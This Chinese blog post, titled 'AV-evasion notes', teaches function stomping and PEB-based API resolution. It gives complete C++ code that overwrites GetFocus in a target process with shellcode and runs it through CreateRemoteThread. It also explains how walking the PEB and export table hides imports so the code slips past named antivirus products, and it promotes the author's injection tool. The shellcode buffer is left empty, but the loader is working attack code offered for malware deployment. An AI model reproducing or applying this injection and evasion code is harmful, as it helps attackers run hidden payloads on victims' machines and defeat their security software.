免杀笔记 ---> 函数踩踏 && PEB寻址

又鸽了一段时间了,最近在写这个武器,感兴趣的师傅们可以去看看(顺便给我点个Star)

whoami-juruo/InjectTools: 一款集成了DLL-Session0注入,APC注入,映射注入,线程劫持,函数踩踏自提权的工具 (github.com)

::累死我了,点个Star吧

那么言归正传,我们来讲今天的主题,函数踩踏 && PEB寻址

目录

[1.函数踩踏(Function Stomping)](#1.函数踩踏(Function Stomping))

1.本地获取到DLL的句柄

2.找到目标函数

3.打开目标进程的句柄

4.进行函数踩踏

5.创建远程远程线程运行shellcode

2.PEB寻址

[1.PEB && TEB](#1.PEB && TEB)

2.PEB_LDR_DATA

[3. _LIST_ENTRY | Flink && Blink](#3. _LIST_ENTRY | Flink && Blink)

[4.GetModuleHanlde --> GetModuleByPeb](#4.GetModuleHanlde --> GetModuleByPeb)

[5. GetProcAddress ---> GetFunctionAddress](#5. GetProcAddress ---> GetFunctionAddress)


1.函数踩踏(Function Stomping)

函数踩踏,又有人叫做模块践踏,其实说人话就是把别人的某个加载了的dll中的某个函数进行覆盖,让这个函数内容变成自己的shellcode,让后让别的程序上线!!!

想弄清楚函数踩踏,必须弄清一个原理!!!

我们的EXE通过在本地进程中加载相同的 DLL 并使用`GetProcAddress`获取目标函数的地址。由于虽然 DLL 在每个进程中的基地址可能不同,但是导出的函数地址通常是相同的,因此可以在本地获取目标函数的准确地址

所以我们函数踩踏的思路就很明朗了!!

  1. 先在本地获取到DLL的句柄
  2. 然后去DLL中找目标进程调用了的函数
  3. 然后OpenProcess获取对方的句柄
  4. 然后通过WriteProcessMemory来修改对方的函数内容

所以我们就可以写代码了

1.本地获取到DLL的句柄

通过下面的代码,我们就获取到了user32.dll的句柄

cpp 复制代码
HMODULE   hTargetDll   = NULL;
LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来
hTargetDll = GetModuleHandleW(L"user32.dll");
if (hTargetDll == NULL)
{
	cout << GetLastError() << endl;
	return;
}

2.找到目标函数

然后,我们就可以通过GetProcAddress来获取我们的目标函数GetFocus了!!

cpp 复制代码
ptarget = GetProcAddress(hTargetDll, "GetFocus");
if (ptarget == NULL)
{
	cout << GetLastError() << endl;
	return;
}

3.打开目标进程的句柄

然后就是打开我们目标进程的句柄了(其实OpenProcess是一个非常危险的操作),这里其中需要的到进程的API,你可以通过遍历进程去获取(写一个输入,然后遍历进程字符串比较),这里我就直接用PID了 偷懒了

cpp 复制代码
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 22160);
	if (hProcess == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

4.进行函数踩踏

然后就是通过WriteProcessMemory来进行函数踩踏了

cpp 复制代码
	if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
	{
		cout << GetLastError() << endl;
		return;
	}
    VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL)

5.创建远程远程线程运行shellcode

这里我们创建远程线程让目标程序起线程运行我们的shellcode

但是在启之前,不知道大家有没有好奇过,为啥我不能直接指针调用这里???

::这是因为Windows的内存管理,导致你的进程不能直接执行别人进程的内存空间!!!!

cpp 复制代码
	hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

解决完上面的问题之后,我们就直接调用这个函数,然后就直接能看见上线了!!!

cpp 复制代码
#include<iostream>
#include<windows.h>
using namespace std;

/* length: 891 bytes */
unsigned char buf[] = "";

void FunctionStomping()
{
	HANDLE    hThread		= INVALID_HANDLE_VALUE;
	HANDLE    hProcess		= INVALID_HANDLE_VALUE;
	HMODULE   hTargetDll	= NULL;
	PVOID     ptarget		= NULL;
	LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来
	hTargetDll = GetModuleHandleW(L"user32.dll");
	if (hTargetDll == NULL)
	{
		cout << GetLastError() << endl;
		return;
	}
	ptarget = GetProcAddress(hTargetDll, "GetFocus");
	if (ptarget == NULL)
	{
		cout << GetLastError() << endl;
		return;
	}

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 31124);
	if (hProcess == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}
	if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
	{
		cout << GetLastError() << endl;
		return;
	}
	VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL);
	hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

}

int main()
{
	FunctionStomping();

	return 0;
}

2.PEB寻址

我们之前都是用的GetModuleHanlde + GetProcAddress ,通过这样的动态调用,我们能直接过火绒,管家,df(加密)! 但是这样其实还是有痕迹的,最终版就是通过PEB寻址!!

1.PEB && TEB

PEB(Process Environment Block) 它存储了进程级别的数据,比如进程的环境变量、命令行参数、进程的堆内存地址等信息。

TEB (Thread Environment Block)TEB存储了线程级别的数据,例如线程的堆栈地址、TLS(Thread Local Storage,线程本地存储)等信息。

其中,在32位下,在TEB的0x30偏移是PEB ,在64位下 TEB 的 0x60是TEB

2.PEB_LDR_DATA

其中,在32位下,在PEB 的0x00c偏移是PEB_LDR_DATA这个结构体

我们跟进去,就能看见这样的内容,其中重要的,就是框框中的三个双向链表!!

3. _LIST_ENTRY | Flink && Blink

我们跟进去,就能发现只有两个成员 Flink && Blink

Blink 指向上一个上一个节点,Flink指向下一个节点。

其中可以用一张图片来总结,其中在 _LDR_DATA_TABLE_ENTRY

4.GetModuleHanlde --> GetModuleByPeb

了解了上面的东西之后,我们就可以来写代码了,前面获取_LDR_DATA的代码我们就不多说了,我们直接来看看核心代码!

首先 AddressFirstNode 指的是_LDR_DATA中的InMemoryOrderModuleList的Fliink结构,AddressFristPLIST指向的是InMemoryOrderModuleList结构,那么每次我们进入循环的时候,我们都拿到下一个节点_LDR_DATA_TABLE_ENTRY的INMEMORYORDERLINKS这个结构,那么,我们通过减一,就能获取到 _LDR_DATA_TABLE_ENTRY的结构首地址,然后再进行强制转换为_LDR_DATA_TABLE_ENTRY指针,这样,我们就能拿到这个结构体里面的FullDLLName了!并且通过将这个与我们的DLL名字相比较,我们就能获取到了目标DLL的 _LDR_DATA_TABLE_ENRTY结构,然后我们直接返回这个结构的DLLBase地址就完成了GetModuleHanlde的操作了 !!!

::就是这样的,虽然有点难理解

5. GetProcAddress ---> GetFunctionAddress

在上面有了DLL的基地址之后,我们就能通过导出表找到我们对应的函数了

其余获取导出表的结构就不多讲了,重点其实就是在这个,通过遍历导出表,我们能获取到我们的函数地址对应的RVA,并通过计算,我们就能得到我们函数的地址了!!!

这样,我们就能从导入表中将GetModuleHanlde 和GetProcAddress这两个API成功抹去了!!

相关推荐
浩浩测试一下13 天前
LoadPE &&& 原理以及作用 (ASM汇编版本)>>01
汇编·免杀·pe结构·windows编程·二进制逆向·系统loadpe
浩浩测试一下19 天前
汇编 数组与串指令(逆向分析)
汇编·逆向·二进制·免杀·串指令·汇编数组
浩浩测试一下19 天前
汇编 结构体与宏
汇编··免杀·结构体·windows编程·逆向二进制
浩浩测试一下22 天前
汇编 高低八位寄存器数据存储方式(逆向分析)
汇编·网络安全·逆向·二进制·免杀·寄存器·windows编程
浩浩测试一下1 个月前
堆栈中的 参数与局部变量 (逆向分析)
汇编·逆向·免杀·堆栈·windows编程·pe壳
合天网安实验室1 个月前
记录一个免杀的php webshell demo
渗透测试·php·webshell·免杀
wrold3 个月前
安全工具 | Fscan 魔改二开 · 特征消除与功能扩展
免杀·安全工具·二开·fscan·魔改·特征消除·功能扩展
恃宠而骄的佩奇5 个月前
蚁剑 php一句话木马简单免杀(编码)绕过360,火绒
开发语言·web安全·php·免杀·一句话木马·火绒安全
李白你好5 个月前
Webshell_Generate更新V1.2.6! | 各类webshell免杀,支持蚁剑、冰蝎、哥斯拉等
免杀
无名修道院6 个月前
渗透测试新手面试高频 50 题:原理 + 标准答案(2025)- 第三篇
网络安全·面试·职场和发展·渗透测试·内网渗透·免杀